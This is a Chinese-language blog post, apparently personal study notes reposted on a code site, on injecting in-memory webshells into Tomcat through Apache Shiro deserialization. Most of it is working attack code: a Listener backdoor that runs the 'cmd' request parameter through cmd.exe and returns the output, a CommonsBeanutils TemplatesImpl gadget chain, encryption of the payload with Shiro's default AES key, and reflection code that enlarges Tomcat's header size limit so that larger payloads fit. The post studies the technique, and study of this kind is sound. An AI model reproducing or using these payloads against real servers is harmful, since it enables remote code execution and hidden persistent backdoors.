Java Shiro 反序列化內存馬


前言:Filter、Listener內存馬分析完了之后,這篇作為Shiro反序列化內存馬的筆記

自己測試的環境只在Tomcat8/9 CommonsBeanutils依賴 里面進行了測試,其他的環境不一定可行,可能有點變化,但是自己也還沒研究,一步步來...

Tomcat 獲得ServletContext對象

之前自己記錄都只是單純的內存馬實現,其中獲取相關ServletContext有時候都是直接通過request對象來進行獲取,而在反序列化的時候,並不會有直接的request相關對象可以進行獲取,所以一般都是唯一存在的對象,再接着配合相關反射操作來進行來最終獲取ServletContext,我這里大致總結下Tomcat中獲取的ServletContext對象的方法

在jsp文件自帶的變量如request等等里面找

比如寫的就是jsp文件中,那么就可以直接通過自帶的request變量來進行獲取,其實如果是寫在jsp文件中就已經說明這種攻擊方式是落地的了,也說不上隱蔽了

Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext context = (StandardContext) req.getContext();

或者

ServletContext servletContext = request.getServletContext();

Field appctx = servletContext.getClass().getDeclaredField("context");  // 獲取屬性
appctx.setAccessible(true);

ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);  //從servletContext中獲取context屬性->applicationContext

Field stdctx = applicationContext.getClass().getDeclaredField("context");  // 獲取屬性
stdctx.setAccessible(true);

StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);  // 從applicationContext中獲取context屬性->standardContext,applicationContext構造時需要傳入standardContext

在沒有request對象直接使用的時候,可以從Thread.currentThread()里面找

限制在於只可用於Tomcat 8 9

        WebappClassLoaderBase webappClassLoaderBase =(WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
        StandardContext standardCtx = (StandardContext)webappClassLoaderBase.getResources().getContext();

從JMXMBeanServer的domainTb下面直接獲取,我不會

....

獲取StandardContext可以參考文章:https://xz.aliyun.com/t/9914

通過反序列化來注入Listener內存馬

利用類(這個類的話是需要繼承AbstractTranslet,因為反序列化在加載字節碼執行命令之前會驗證相關類是否為AbstractTranslet):

public class Memory2 extends AbstractTranslet implements ServletRequestListener {
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { }
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { }
    public Memory2() throws Exception {
        super();
        WebappClassLoaderBase webappClassLoaderBase =(WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
        StandardContext standardCtx = (StandardContext)webappClassLoaderBase.getResources().getContext();
        standardCtx.addApplicationEventListener(this);
    }
    @Override
    public void requestDestroyed(ServletRequestEvent sre) {
        HttpServletRequest req = (HttpServletRequest) sre.getServletRequest();
        if (req.getParameter("cmd") != null){
            InputStream in = null;
            try {
                in = Runtime.getRuntime().exec(new String[]{"cmd.exe","/c",req.getParameter("cmd")}).getInputStream();
                Scanner s = new Scanner(in).useDelimiter("\\A");
                String out = s.hasNext() ? s.next() : "";
                Field requestF = req.getClass().getDeclaredField("request");
                requestF.setAccessible(true);
                Request request = (Request)requestF.get(req);
                request.getResponse().getWriter().write(out);
            }
            catch (IOException e) {}
            catch (NoSuchFieldException e) {}
            catch (IllegalAccessException e) {}
        }
    }
    @Override
    public void requestInitialized(ServletRequestEvent sre) {
    }
}

CommonsBeanutilsShiroMemory.java的內容,如下

public class CommonsBeanutilsShiroMemory {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public byte[] getPayload(byte[] clazzBytes) throws Exception {
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{clazzBytes});
        setFieldValue(obj, "_name", "HelloTemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

        final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
        final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
        // stub data for replacement later
        queue.add("1");
        queue.add("1");

        setFieldValue(comparator, "property", "outputProperties");
        setFieldValue(queue, "queue", new Object[]{obj, obj});

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(queue);
        oos.close();

        return barr.toByteArray();
    }

    public static void main(String []args) throws Exception {
        ClassPool pool = ClassPool.getDefault();
        CtClass clazz = pool.get(Memory2.class.getName());
        byte[] payloads = new CommonsBeanutils2Shiro().getPayload(clazz.toBytecode());
        AesCipherService aes = new AesCipherService();
        byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
        ByteSource ciphertext = aes.encrypt(payloads, key);
        System.out.println(ciphertext.toString());
    }
}

注入演示:

其實這里看到執行的內容是在前面的內容之后,那是因為我實現的方法是requestDestroyed,這種方式其實也不大好,后面會講到Tomcat回顯相關的知識點,我們需要拿到request和response來進行完全控制

為什么Shiro反序列化注入內存馬的時候不能使用Filter

別人說在shiro框架中,它自己實現了關於ShiroFilter對象,所以這里走不了自定義的Filter就已經被ShiroFilter已經進行了過濾

可惜的是我這邊也證實不了,因為有些東西還沒學,后面學了再補上

期間遇到的問題,當Filter內存馬通過匿名類定義的時候,在反序列化的時候就會報權限問題,但是自己也不知道匿名類如何來設置訪問權限,所以這個點我也解決不了

考慮到Filter匿名類的權限問題,所以自己這里就單獨的創建一個Filter類來實例化進去

public class FilterMemory extends AbstractTranslet implements Filter

但是發送payload的時候,shiro報錯,回顯 ·Request header is too large·

Request header is too large 的解決

對於Tomcat的request header的size限制是在org/apache/coyote/http11/AbstractHttp11Protocol.java#maxHttpHeaderSize 屬性所控制的,如下圖所示

這里如果想要在Shiro中想要對於header size比較大的序列化數據的話,就需要分為兩步走

1、先通過反序列化來修改Tomcat自身默認的request header的size(這里的請求的size大小是小於默認值的)

2、然后再發送header size大的序列化數據

實現代碼如下:

        java.lang.reflect.Field contextField = org.apache.catalina.core.StandardContext.class.getDeclaredField("context");
        java.lang.reflect.Field serviceField = org.apache.catalina.core.ApplicationContext.class.getDeclaredField("service");
        java.lang.reflect.Field requestField = org.apache.coyote.RequestInfo.class.getDeclaredField("req");
        java.lang.reflect.Field headerSizeField = org.apache.coyote.http11.Http11InputBuffer.class.getDeclaredField("headerBufferSize");
        java.lang.reflect.Method getHandlerMethod = org.apache.coyote.AbstractProtocol.class.getDeclaredMethod("getHandler", null);
        contextField.setAccessible(true);
        headerSizeField.setAccessible(true);
        serviceField.setAccessible(true);
        requestField.setAccessible(true);
        getHandlerMethod.setAccessible(true);
        org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =
                (org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
        org.apache.catalina.core.ApplicationContext applicationContext =
                (org.apache.catalina.core.ApplicationContext) contextField.get(webappClassLoaderBase.getResources().getContext());
        org.apache.catalina.core.StandardService standardService = (org.apache.catalina.core.StandardService) serviceField.get(applicationContext);
        org.apache.catalina.connector.Connector[] connectors = standardService.findConnectors();
        for (int i = 0; i < connectors.length; i++) {
            if (4 == connectors[i].getScheme().length()) {
                org.apache.coyote.ProtocolHandler protocolHandler = connectors[i].getProtocolHandler();
                if (protocolHandler instanceof org.apache.coyote.http11.AbstractHttp11Protocol) {
                    Class[] classes = org.apache.coyote.AbstractProtocol.class.getDeclaredClasses();
                    for (int j = 0; j < classes.length; j++) {
                        // org.apache.coyote.AbstractProtocol$ConnectionHandler
                        if (52 == (classes[j].getName().length()) || 60 == (classes[j].getName().length())) {
                            java.lang.reflect.Field globalField = classes[j].getDeclaredField("global");
                            java.lang.reflect.Field processorsField = org.apache.coyote.RequestGroupInfo.class.getDeclaredField("processors");
                            globalField.setAccessible(true);
                            processorsField.setAccessible(true);
                            org.apache.coyote.RequestGroupInfo requestGroupInfo =
                                    (org.apache.coyote.RequestGroupInfo) globalField.get(getHandlerMethod.invoke(protocolHandler, null));
                            java.util.List list = (java.util.List) processorsField.get(requestGroupInfo);
                            for (int k = 0; k < list.size(); k++) {
                                org.apache.coyote.Request tempRequest = (org.apache.coyote.Request) requestField.get(list.get(k));
                                // 10000 為修改后的 headersize
                                headerSizeField.set(tempRequest.getInputBuffer(),10000);
                            }
                        }
                    }
                    // 10000 為修改后的 headersize
                    ((org.apache.coyote.http11.AbstractHttp11Protocol) protocolHandler).setMaxHttpHeaderSize(10000);
                }
            }
        }

重試Shiro反序列化Filter內存馬

這里重新再試下關於Shiro反序列化Filter內存馬的問題,先改下Tomcat最大header請求的大小

public class CommonsBeanutilsTomcatHeader {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public byte[] getPayload(byte[] clazzBytes) throws Exception {
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{clazzBytes});
        setFieldValue(obj, "_name", "HelloTemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

        final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
        final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
        // stub data for replacement later
        queue.add("1");
        queue.add("1");

        setFieldValue(comparator, "property", "outputProperties");
        setFieldValue(queue, "queue", new Object[]{obj, obj});

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(queue);
        oos.close();

        return barr.toByteArray();
    }

    public static void main(String []args) throws Exception {
        ClassPool pool = ClassPool.getDefault();
        CtClass clazz = pool.get(TomcatHeaderSize.class.getName());
        byte[] payloads = new CommonsBeanutilsTomcatHeader().getPayload(clazz.toBytecode());
        AesCipherService aes = new AesCipherService();
        byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
        ByteSource ciphertext = aes.encrypt(payloads, key);
        System.out.println(ciphertext.toString());
    }
}

上面的payload打過去之后,繼續用filter的內存馬payload,最后發現同樣是可以執行命令的(我這里shiro環境不是基於spring)

這里可以來調試下,此時的Filterchains是如何走的,可以看到Filter是注入進去了

同樣的這里也可以走到,此時的Filter內存馬的位置的優先級是在最前面的,然后我這里想了下不知道其他人說為什么Filter不行,以后如果又遇到自己再來補上真正的原因吧

關於Tomcat回顯的知識點和問題

這里想了下放Tomcat回顯的文章中講會比較好點,到時候再來繼續演示,文章地址為:https://www.cnblogs.com/zpchcbd/p/15153518.html


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM